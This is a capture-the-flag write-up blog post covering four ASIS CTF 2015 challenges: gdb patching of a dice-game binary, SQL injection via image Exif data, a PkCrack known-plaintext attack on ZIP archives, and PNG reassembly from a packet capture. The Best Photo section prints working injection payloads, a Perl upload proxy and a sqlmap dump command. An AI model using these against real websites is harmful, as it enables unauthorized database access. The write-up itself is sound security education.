ASIS CTF 2015 write-ups

Categories CTF

Last weekend ASIS CTF took place and we (the Eindbazen team) spend some hours playing it. While we did not play the whole weekend we did solve some of the challenges. Since I enjoyed the challenges I worked on I decided to create these write-ups of them.

Header

Keylead

Kaylead

This challenge consisted of a file called keylead, which was a 64-bit Linux executable file (ELF):

# file keylead 
keylead: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xa7a4d5c1237aa5ff9380f8359cc80d5372ec7

When executed, the file showed us we needed to play a game:

# ./keylead 
hi all ----------------------
Welcome to dice game!
You have to roll 5 dices and get 3, 1, 3, 3, 7 in order.
Press enter to roll.

You rolled 2, 4, 6, 2, 1.
You DID NOT roll as I said!
Bye bye~

This challenge is a pretty clear rip-off of the two Dice challenges I wrote for ebCTF (the Teaser BIN100 and ebCTF BIN100). Both can be found on my write up page here http://www.thice.nl/eindbazen-ebctf-write-ups/. The difference being that in ebCTF these challenges were for Windows 32-bit and Linux 32-bit. The file in this challenge was for Linux 64-bit.

Let’s look what the program has under the hood, to look at the assembly code of this program we run the objdump command:

# objdump -d keylead > keylead.asm

After some research we find the following interesting compares and jumps:

  400fb7:	83 7d f4 03          	cmpl   $0x3,-0xc(%rbp)
  400fbb:	0f 85 32 01 00 00       jne    4010f3 <rand@plt+0xb43>

  400ff3:	83 7d f0 01          	cmpl   $0x1,-0x10(%rbp)
  400ff7:	0f 85 f4 00 00 00       jne    4010f1 <rand@plt+0xb41>

  40102f:	83 7d ec 03             cmpl   $0x3,-0x14(%rbp)
  401033:	0f 85 b6 00 00 00       jne    4010ef <rand@plt+0xb3f>

  40106b:	83 7d e8 03          	cmpl   $0x3,-0x18(%rbp)
  40106f:	75 7c                   jne    4010ed <rand@plt+0xb3d>

  4010a0:	83 7d e4 07          	cmpl   $0x7,-0x1c(%rbp)
  4010a4:	75 45                   jne    4010eb <rand@plt+0xb3b>

We could adjust these jumps so the throws are always correct. The JNE instruction jumps when “ZF = 0” (info), we can adjust ZF in gdb by setting the eflags. Since we expect anti debug checks we can create a command script for gdb instead of typing the commands.

Before the check the eflags are:

eflags 0x206 [ PF IF ]

When the check is correct the eflags are:

eflags 0x246 [ PF ZF IF ]

So, we will use this second value in our gdb command script:

br *0x400fbb
commands
  set ($eflags)=0x246
  c
end

br *0x400ff7
commands
  set ($eflags)=0x246
  c
end

br *0x401033
commands
  set ($eflags)=0x246
  c
end

br *0x40106f
commands
  set ($eflags)=0x246
  c
end

br *0x4010a4
commands
  set ($eflags)=0x246
  c
end

file ./keylead
r

When we execute this script the challenge shows us the flag:

# gdb --quiet --command=keylead.solv
Breakpoint 1 at 0x400fbb
Breakpoint 2 at 0x400ff7
Breakpoint 3 at 0x401033
Breakpoint 4 at 0x40106f
Breakpoint 5 at 0x4010a4
hi all ----------------------
Welcome to dice game!
You have to roll 5 dices and get 3, 1, 3, 3, 7 in order.
Press enter to roll.

You rolled 5, 6, 4, 6, 4.

Breakpoint 1, 0x0000000000400fbb in ?? ()
Breakpoint 2, 0x0000000000400ff7 in ?? ()
Breakpoint 3, 0x0000000000401033 in ?? ()
Breakpoint 4, 0x000000000040106f in ?? ()
Breakpoint 5, 0x00000000004010a4 in ?? ()

You rolled as I said! I'll give you the flag.
ASIS{1fc1089e328eaf737c882ca0b10fcfe6}

An alternative solution is the gdb script which my teammate blasty wrote. This script changes the values of the throws, so every throw is indeed 3,1,3,3,7:

br *0x400eea
commands
	set $rax=3
	c
end

br *0x400f13
commands
	set $rax=1
	c
end

br *0x400f3c
commands
	set $rax=3
	c
end

br *0x400f65
commands
	set $rax=3
	c
end

br *0x400f8e
commands
	set $rax=7
	c
end

r

Flag: ASIS{1fc1089e328eaf737c882ca0b10fcfe6}

 

Best Photo

Best Photo

In this challenge we were only given a URL: http://bestphoto.asis-ctf.ir/index

When visiting this URL we see:

BestPhoto2

It seems we can upload files here, when we upload an image file the Metadata, including Exif data is shown:


BestPhoto3

The vulnerability in this challenge is SQL-injection via the file Exif data. To easily change the Exif data of an image file we can use exiftool. When we test a SQL-injection like this:
exiftool -Author="X' OR 1=1-- " minions.jpg

We get the following result after uploading the file:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Profile CMM Type":"ADBE","Profile Version":"2.1.0","Profile Class":"Display Devi' at line 1

The following tests will be parsed as correct SQL statements, and result in a 0:

exiftool -Author="X' OR 'X" minions.jpg
exiftool -Author="X' AND 'X" minions.jpg
exiftool -Author="X' AND '1=0" minions.jpg

The following tests will be parsed as correct SQL statements, and result in a 1:

exiftool -Author="X' OR '1=0" minions.jpg
exiftool -Author="X' OR '1=1" minions.jpg
exiftool -Author="' OR MID(VERSION(),1,1) = 5 OR '" minions.jpg

So, we got successful SQL-injection, but it is in a very inconvenient place. It is quite some effort to exploit this by hand with each time creating new image files, so, I decided to create a proxy. The following quick and dirty Perl script will can be accessed on a local running web-server. The query string sent to the script will be used as the SQL-injection, which is put in the image file with exiftool and then uploaded to the website. The result is then printed on the local webpage.

#!/usr/bin/perl -w

print "Content-type:text/html\r\n\r\n";

$sqli = $ENV{QUERY_STRING};
$sqli =~ s/x=//;
$sqli =~ s/%([A-Fa-f\d]{2})/chr hex $1/eg;

`exiftool -Author="$sqli" 1pix.jpg`;
$location = `curl -i  -F filename="x1pix.jpg" -F "file=\@1pix.jpg" http://bestphoto.asis-ctf.ir/submit`;
if ($location =~ /Location: ([^\n]*)/) {
  $result = `curl $1`;
  if ($result =~ /<h2> File Metadata: <\/h2>\n\s\s<table class="table" style="width:50%">\n\s\s([0|1]+)\n/) {
    if ($1 == 1) {
      print "Result: ".$1;
    } else {
      print "ERROR"; 
    }
  } else {
    print $result;
  }
} else {
  print $location;
}

We can access the script in the following way:

http://127.0.0.1/cgi-bin/proxy.pl?x=' OR MID(VERSION(),1,1) = 5 OR '

The above request results in a 1.

http://127.0.0.1/cgi-bin/proxy.pl?x=' OR MID(VERSION(),1,1) = 6 OR '

The above request results in an error.

Since we now have this convenient way of exploiting the SQL-injection we can now use sqlmap to speed this up:
# sqlmap -u http://127.0.0.1/cgi-bin/proxy.pl?x= --dbms=MySQL -p x --tamper=between --string="Result: 1" -T tbl_flag_000 --dump

Which will result in the following info retrieved from the database:

[18:47:15] [INFO] retrieved: tbl_flag_000
Database: photo
[2 tables]
+---------------------------------------+
| photos_extratext                      |
| tbl_flag_000                          |
+---------------------------------------+

[18:49:34] [INFO] analyzing table dump for possible password hashes
Database: photo
Table: tbl_flag_000
[1 entry]
+----+----------------------------------------+
| id | flag                                   |
+----+----------------------------------------+
| 1  | ASIS{908cd5cf7e6f337d232370ce7e0fd937} |
+----+----------------------------------------+

Flag: ASIS{908cd5cf7e6f337d232370ce7e0fd937}

 

Zcrypt

ZCRYPT

This challenge consisted of a 7zip file which contained a PCAP file. The PCAP contained a couple of HTTP sessions which included multiple files being uploaded and downloaded. To export all these files we use the very convenient Export Objects function in Wireshark (File –> Export Objects –> HTTP).

Between all the other files we find seven ZIP files, which all are password protected. When we check the information of these ZIP files with zipinfo we see:

Archive:  VuwPO9eM
Zip file size: 91319 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx    90927 BX defN 15-Apr-13 07:50 9Ux)@Zzr1h03PA#p&#u~JWWgUtpF
-rwxrw-rw-  3.0 unx       38 TX stor 15-Apr-13 06:53 flag.txt
2 files, 90965 bytes uncompressed, 90779 bytes compressed:  0.2%
Archive:  EO4qqhn8
Zip file size: 293764 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx   202671 BX defN 15-Apr-13 07:06 7^&V8S(J63s$K9csDk~xaFRDGK&Z
-rwxrw-rw-  3.0 unx    90927 BX defN 15-Apr-13 07:50 %dQ+skWS84uT#KSKY1uND$v+
2 files, 293598 bytes uncompressed, 293176 bytes compressed:  0.1%
Archive:  YupE1RB8
Zip file size: 518532 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx   315786 BX defN 15-Apr-13 07:06 e7m1Jy+#%H!%bBD1FvCB)m!JM0gE
-rwxrw-rw-  3.0 unx   202671 BX defN 15-Apr-13 07:06 fU2G8r)1DD2QQ_xNWuclyde#
2 files, 518457 bytes uncompressed, 517944 bytes compressed:  0.1%
Archive:  EX8UPdUb
Zip file size: 810609 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx   494676 BX defN 15-Apr-13 07:50 7U0(ZB%8AFX8pd!9FN~v1fePI@s
-rwxrw-rw-  3.0 unx   315786 BX defN 15-Apr-13 07:06 l@IqLO0zJkujH0h3Fj#Ztp!m
2 files, 810462 bytes uncompressed, 810024 bytes compressed:  0.1%
Archive:  BOQqupmS
Zip file size: 1098688 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx   605502 BX defN 15-Apr-13 07:50 JxdIs^43_74nc-1h3WGphjSUGigLPl
-rwxrw-rw-  3.0 unx   494676 BX defN 15-Apr-13 07:50 fIIutQ+18TE0*Odi*XxM
2 files, 1100178 bytes uncompressed, 1098106 bytes compressed:  0.2%
Archive:  E0frzRAi
Zip file size: 2372707 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx  1793362 BX defN 15-Apr-15 04:29 cohaxOTDL4Iy4sK7DWFU6Mw6
-rwxrw-rw-  3.0 unx   605502 BX defN 15-Apr-13 07:50 Yy#FoK+YmAgM0#4*C2^i+WWA
2 files, 2398864 bytes uncompressed, 2372131 bytes compressed:  1.1%
Archive:  xnCub4eW
Zip file size: 4494528 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx  2731504 BX defN 15-Apr-08 02:32 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f
-rwxrw-rw-  3.0 unx  1793362 BX defN 15-Apr-15 04:29 2VT&Wb!XJ0dzG7JyvyH-II#J
2 files, 4524866 bytes uncompressed, 4493994 bytes compressed:  0.7%

Archive VuwPO9eM seems to contain flag.txt, but it also contains another file, which seems to have a random file name and a file-size of 90.927 bytes. In archive EO4qqhn8 we also see a file of 90.927 bytes, together with a file of 202.671 bytes. That second file is the same size as a file in archive YupE1RB8, this goes on till we end up at archive xnCub4eW. In this archive we find a file with a different kind of file-name “317fc6d41e3d0f79f3e9c470cda48f52a7168c6f”, with file-size 2.731.504.

A short Google query on this file-name learns us that it is the SHA1 hash of a malware specimen, with of course the same file-size. We can download this malware specimen from the following website: http://malwaredb.malekal.com/index.php?hash=317fc6d41e3d0f79f3e9c470cda48f52a7168c6f.

# ls -ls c0d2dbb60f18f74c239cd17199e74979
2668 -rw-r--r-- 1 root root 2731504 Apr  8 11:02 c0d2dbb60f18f74c239cd17199e74979

# sha1sum c0d2dbb60f18f74c239cd17199e74979
317fc6d41e3d0f79f3e9c470cda48f52a7168c6f  c0d2dbb60f18f74c239cd17199e74979

The file downloads with the filename ‘c0d2dbb60f18f74c239cd17199e74979’, but we rename it to 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.

Now that we have a file from the first archive we can use it to perform a plain-text attack on the ZIP archive. This attack can be done with PkCrack, but also with tools such as Elcomsoft and Passware. Since the last two are commercial software we will use PkCrack, which is a bit old and not all too friendly in usage, but it gets the job done.

For this attack to work we need to create an identical archive from the plain-text file we have, from the zipinfo information we could see “3.0 unx”, so probably a ZIP version for Linux with version 3. Random other ZIP file to show difference:

# zipinfo example.zip
Archive:  example.zip
Zip file size: 1753786 bytes, number of entries: 1
-rw-a--     6.2 fat 32788480 bx defN 14-Dec-04 09:48 example.bin
1 file, 32788480 bytes uncompressed, 1753576 bytes compressed:  94.7%

In this random ZIP you can see it used version 6.2 with a fat filesystem, so quite likely Windows.

# zip -h
Copyright (c) 1990-2008 Info-ZIP - Type 'zip "-L"' for software license.
Zip 3.0 (July 5th 2008). Usage:
zip [-options] [-b path] [-t mmddyyyy] [-n suffixes] [zipfile list] [-xi list]

Checking the ZIP version on our VM it seems to be ZIP 3 on Linux, so that seems to be the right version. We can create a ZIP file with the following command:

# zip 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.zip 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext

When checking the file with zipinfo it seems to be exactly what we need:

# zipinfo 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.zip
Archive:  317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.zip
Zip file size: 2725704 bytes, number of entries: 1
-rw-r--r--  3.0 unx  2731504 bx defN 15-Apr-08 11:02 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext
1 file, 2731504 bytes uncompressed, 2725454 bytes compressed:  0.2%

We now have all the files we need for PkCrack to work:

# ./pkcrack -p 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext -c 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f -P 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.zip -d decrypted.zip -C zrypt/xnCub4eW 
Files read. Starting stage 1 on Wed May 13 16:36:33 2015
Generating 1st generation of possible key2_2725465 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 959 values at offset 2722246
Lowest number: 934 values at offset 2722244
... <snip> ...
Lowest number: 101 values at offset 2689992
Lowest number: 97 values at offset 2689991
Done. Left with 97 possible Values. bestOffset is 2689991.
Stage 1 completed. Starting stage 2 on Wed May 13 16:37:03 2015
Ta-daaaaa! key0=70a8cda4, key1=547222ce, key2=4c7d562e
Probabilistic test succeeded for 35479 bytes.
Ta-daaaaa! key0=70a8cda4, key1=547222ce, key2=4c7d562e
Probabilistic test succeeded for 35479 bytes.
Ta-daaaaa! key0=70a8cda4, key1=547222ce, key2=4c7d562e
Probabilistic test succeeded for 35479 bytes.
Ta-daaaaa! key0=70a8cda4, key1=547222ce, key2=4c7d562e
Probabilistic test succeeded for 35479 bytes.
Ta-daaaaa! key0=70a8cda4, key1=547222ce, key2=4c7d562e
Probabilistic test succeeded for 35479 bytes.
Stage 2 completed. Starting zipdecrypt on Wed May 13 16:37:09 2015
Decrypting 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f (ed5e829f7f1c27cbb62e5458)... OK!
Decrypting 2VT&Wb!XJ0dzG7JyvyH-II#J (15b6960191cbc71256147d67)... OK!
Finished on Wed May 13 16:37:10 2015

Commandline explained

 -p 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext
 -p <plaintext_file>

This file is the plain-text version of the file we know is in the encrypted archive (the downloaded malware file).

 -c 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f
 -c <crypted_file>

This file is the encrypted file we extracted from the encrypted archive.

 -P 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f_plaintext.zip
 -P <p-ZIP> where p-ZIP is a ZIP-archive containing <plaintext_file>

This file is a ZIP file with the plain-text downloaded malware file.

 -d decrypted.zip
 -d <d-file>	where d-file is the name of the decrypted archive which
		will be created by this program if the correct keys are found
		(can only be used in conjunction with the -C option)

This file will be the output file with the decrypted ZIP archive.

-C zrypt/xnCub4eW
-C <c-ZIP> where c-ZIP is a ZIP-archive containing <crypted_file>

This file is the encrypted ZIP archive file we want to decrypt.

It takes a couple of minutes for the ZIP file to be cracked, but then we got the decrypted files:

# zipinfo decrypted.zip 
Archive:  decrypted.zip
Zip file size: 4494504 bytes, number of entries: 2
-rwxrw-rw-  3.0 unx  2731504 bX defN 15-Apr-08 02:32 317fc6d41e3d0f79f3e9c470cda48f52a7168c6f
-rwxrw-rw-  3.0 unx  1793362 bX defN 15-Apr-15 04:29 2VT&Wb!XJ0dzG7JyvyH-II#J
2 files, 4524866 bytes uncompressed, 4493994 bytes compressed:  0.7%

Now that we have the decrypted file of 1.793.362 bytes, we can use the same trick to crack file E0frzRAi, after which we will get the plain-text file for the next ZIP and so on.

The recovered encryption keys for the ZIP files are:

xnCub4eW = 70A8CDA4 547222CE 4C7D562E
E0frzRAi = 279CB96E ED67DF2C 3045AB32
BOQqupmS = F790F319 6B813996 18929DF1
EX8UPdUb = F30895B7 FC7CF9D4 9ED67A05
YupE1RB8 = BB7F9B6F DE8E004C 1B6D2CF5
EO4qqhn8 = D912D4A1 03E40028 655847F3
VuwPO9eM = 1764F2B7 42DE2CB6 C3F66D33

Interesting note: When you crack the ZIP archives with Passware it shows the encryption keys in reverse endianness and written as one key:

xnCub4eW = A4CDA870CE2272542E567D4C
E0frzRAi = 6EB99C272CDF67ED32AB4530
BOQqupmS = 19F390F79639816BF19D9218
EX8UPdUb = B79508F3D4F97CFC057AD69E
YupE1RB8 = 6F9B7FBB4C008EDEF52C6D1B
EO4qqhn8 = A1D412D92800E403F3475865
VuwPO9eM = B7F26417B62CDE42336DF6C3

With the encryption keys we can now decrypt the archive file with the flag (or PkCrack already did this automatically):

# ./zipdecrypt 1764F2B7 42DE2CB6 C3F66D33 zcrypt/VuwPO9eM flag.zip
Decrypting 9Ux)@Zzr1h03PA#p&#u~JWWgUtpF (c221f352d861e8777a778982)... OK!
Decrypting flag.txt (9211c20e5922341d1452e17a)... OK!

Opening the decrypted ZIP now gives us the flag:

# unzip flag.zip 
Archive:  flag.zip
sha1_9Ux)@Zzr1h03PA#p&#u~JWWgUtpF = db9136f551ba9769d6451d11aaa020c135fd1e96
sha1_flag.txt = 2a46366518a76d7a4b1707bf805c29bb097934fa
  inflating: 9Ux)@Zzr1h03PA#p&#u~JWWgUtpF  
 extracting: flag.txt                

# cat flag.txt 
ASIS{b72be7f18502dde0c2ca373ee3c2b03e}

 

Flag: ASIS{b72be7f18502dde0c2ca373ee3c2b03e}

Broken Heart

BrokenHearth

In this challenge we got a 7zip file with a PCAP file in it. Looking at the PCAP in Wireshark we notice it contains multiple HTTP requests with partial downloads. For easy editing we can split out the PCAP with TCPFlow:

# tcpflow -r myheart_7cb6daec0c45b566b9584f98642a7123.pcap 

# ls -la 
total 7760
drwxr-xr-x 2 root root    4096 May 13 17:04 .
drwxr-xr-x 7 root root   12288 May 13 17:03 ..
-rw-r--r-- 1 root root  265284 May 13 17:04 087.107.124.013.00080-192.168.221.128.54391
-rw-r--r-- 1 root root  165191 May 13 17:04 087.107.124.013.00080-192.168.221.128.54392
-rw-r--r-- 1 root root  195920 May 13 17:04 087.107.124.013.00080-192.168.221.128.54393
-rw-r--r-- 1 root root  163622 May 13 17:04 087.107.124.013.00080-192.168.221.128.54394
-rw-r--r-- 1 root root  201441 May 13 17:04 087.107.124.013.00080-192.168.221.128.54397
-rw-r--r-- 1 root root  182012 May 13 17:04 087.107.124.013.00080-192.168.221.128.54398
-rw-r--r-- 1 root root  186512 May 13 17:04 087.107.124.013.00080-192.168.221.128.54399
-rw-r--r-- 1 root root  228913 May 13 17:04 087.107.124.013.00080-192.168.221.128.54400
-rw-r--r-- 1 root root  156444 May 13 17:04 087.107.124.013.00080-192.168.221.128.54401
-rw-r--r-- 1 root root   50580 May 13 17:04 087.107.124.013.00080-192.168.221.128.54402
-rw-r--r-- 1 root root  179902 May 13 17:04 087.107.124.013.00080-192.168.221.128.54403
-rw-r--r-- 1 root root  241517 May 13 17:04 087.107.124.013.00080-192.168.221.128.54404
-rw-r--r-- 1 root root   98996 May 13 17:04 087.107.124.013.00080-192.168.221.128.54405
-rw-r--r-- 1 root root   52857 May 13 17:04 087.107.124.013.00080-192.168.221.128.54406
-rw-r--r-- 1 root root  126712 May 13 17:04 087.107.124.013.00080-192.168.221.128.54407
-rw-r--r-- 1 root root   56794 May 13 17:04 087.107.124.013.00080-192.168.221.128.54408
-rw-r--r-- 1 root root  211317 May 13 17:04 087.107.124.013.00080-192.168.221.128.54409
-rw-r--r-- 1 root root  104569 May 13 17:04 087.107.124.013.00080-192.168.221.128.54410
-rw-r--r-- 1 root root  184430 May 13 17:04 087.107.124.013.00080-192.168.221.128.54411
-rw-r--r-- 1 root root  175271 May 13 17:04 087.107.124.013.00080-192.168.221.128.54412
-rw-r--r-- 1 root root  155124 May 13 17:04 087.107.124.013.00080-192.168.221.128.54413
-rw-r--r-- 1 root root  171382 May 13 17:04 087.107.124.013.00080-192.168.221.128.54414
-rw-r--r-- 1 root root  200657 May 13 17:04 087.107.124.013.00080-192.168.221.128.54415
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54391-087.107.124.013.00080
-rw-r--r-- 1 root root     171 May 13 17:04 192.168.221.128.54392-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54393-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54394-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54397-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54398-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54399-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54400-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54401-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54402-087.107.124.013.00080
-rw-r--r-- 1 root root     166 May 13 17:04 192.168.221.128.54403-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54404-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54405-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54406-087.107.124.013.00080
-rw-r--r-- 1 root root     171 May 13 17:04 192.168.221.128.54407-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54408-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54409-087.107.124.013.00080
-rw-r--r-- 1 root root     169 May 13 17:04 192.168.221.128.54410-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54411-087.107.124.013.00080
-rw-r--r-- 1 root root     171 May 13 17:04 192.168.221.128.54412-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54413-087.107.124.013.00080
-rw-r--r-- 1 root root     170 May 13 17:04 192.168.221.128.54414-087.107.124.013.00080
-rw-r--r-- 1 root root     172 May 13 17:04 192.168.221.128.54415-087.107.124.013.00080

The files starting with “087.107.124.013.00080-192.168.221.128.” seem to contain “Partial Content” replies:

# head -13 087.107.124.013.00080-192.168.221.128.54391
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 12 Apr 2015 12:15:25 GMT
Content-Type: application/octet-stream
Content-Length: 264902
Connection: keep-alive
Last-Modified: Sat, 11 Apr 2015 10:34:58 GMT
ETag: "5528f8d2-23d38c"
Expires: Mon, 13 Apr 2015 07:30:00 GMT
Cache-Control: max-age=69275
X-Frame-Options: DENY
Content-Range: bytes 1080486-1345387/2347916

These Partial Content replies all contain a specific range of bytes:

# strings -f 087.107.124.013.00080-192.168.221.128.54* | grep Content-Range
087.107.124.013.00080-192.168.221.128.54391: Content-Range: bytes 1080486-1345387/2347916
087.107.124.013.00080-192.168.221.128.54392: Content-Range: bytes 986065-1150874/2347916
087.107.124.013.00080-192.168.221.128.54393: Content-Range: bytes 1397670-1593207/2347916
087.107.124.013.00080-192.168.221.128.54394: Content-Range: bytes 337541-500782/2347916
087.107.124.013.00080-192.168.221.128.54397: Content-Range: bytes 2001846-2202904/2347916
087.107.124.013.00080-192.168.221.128.54398: Content-Range: bytes 467298-648929/2347916
087.107.124.013.00080-192.168.221.128.54399: Content-Range: bytes 1507903-1694032/2347916
087.107.124.013.00080-192.168.221.128.54400: Content-Range: bytes 552789-781321/2347916
087.107.124.013.00080-192.168.221.128.54401: Content-Range: bytes 1276598-1432659/2347916
087.107.124.013.00080-192.168.221.128.54402: Content-Range: bytes 1888311-1938509/2347916
087.107.124.013.00080-192.168.221.128.54403: Content-Range: bytes 13-179538/2347916
087.107.124.013.00080-192.168.221.128.54404: Content-Range: bytes 2106781-2347915/2347916
087.107.124.013.00080-192.168.221.128.54405: Content-Range: bytes 1540792-1639406/2347916
087.107.124.013.00080-192.168.221.128.54406: Content-Range: bytes 145550-198027/2347916
087.107.124.013.00080-192.168.221.128.54407: Content-Range: bytes 905781-1032111/2347916
087.107.124.013.00080-192.168.221.128.54408: Content-Range: bytes 1987909-2044321/2347916
087.107.124.013.00080-192.168.221.128.54409: Content-Range: bytes 694834-905770/2347916
087.107.124.013.00080-192.168.221.128.54410: Content-Range: bytes 27943-132132/2347916
087.107.124.013.00080-192.168.221.128.54411: Content-Range: bytes 1774960-1959007/2347916
087.107.124.013.00080-192.168.221.128.54412: Content-Range: bytes 892465-1067354/2347916
087.107.124.013.00080-192.168.221.128.54413: Content-Range: bytes 1904693-2059434/2347916
087.107.124.013.00080-192.168.221.128.54414: Content-Range: bytes 188923-359924/2347916
087.107.124.013.00080-192.168.221.128.54415: Content-Range: bytes 1672374-1872648/2347916

Sorting the files we know which parts we need of each TCPflow file:

     13-179538/2347916 54403 part 1
  27943-132132/2347916 54410 Not needed because of overlap
 145550-198027/2347916 54406 part 2
 188923-359924/2347916 54414 part 3
 337541-500782/2347916 54394 part 4
 467298-648929/2347916 54398 part 5
 552789-781321/2347916 54400 part 6
 694834-905770/2347916 54409 part 7
 892465-1067354/2347916 54412 part 8
 905781-1032111/2347916 54407 Not needed because of overlap
 986065-1150874/2347916 54392 part 9
1080486-1345387/2347916 54391 part 10
1276598-1432659/2347916 54401 part 11
1397670-1593207/2347916 54393 part 12
1540792-1639406/2347916 54405 part 13
1507903-1694032/2347916 54399 part 14
1672374-1872648/2347916 54415 part 15
1774960-1959007/2347916 54411 part 16
1888311-1938509/2347916 54402 Not needed because of overlap
1904693-2059434/2347916 54413 part 17
1987909-2044321/2347916 54408 Not needed because of overlap
2001846-2202904/2347916 54397 part 18
2106781-2347915/2347916 54404 Not needed because of overlap

The first part seems to be from 13 till 179538, so we are missing the first 13 bytes of the file. Looking at the beginning of this file part we notice (from experience) that it looks a lot like a PNG header (with the first part cut off):

PNG_Header2

 

If we look at a random normal PNG file header we can see the same HDR bytes, and the missing 13 bytes in front of it:

PNG_Header

The bytes we need to add in front of the first part:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49          ; ‰PNG........I

The next step is to combine all the data from the different parts, this is something you can script, or do by hand. I opted for the manual way, by searching for the end of the previous part in the next part it was quite easy to stitch them together. The resulting image was:

087.107.124.013.00080-192.168.221.128

Flag: ASIS{8bffe21e084db147b32aa850bc65eb16}

No Comments

Leave a Reply

Your email address will not be published. Required fields are marked *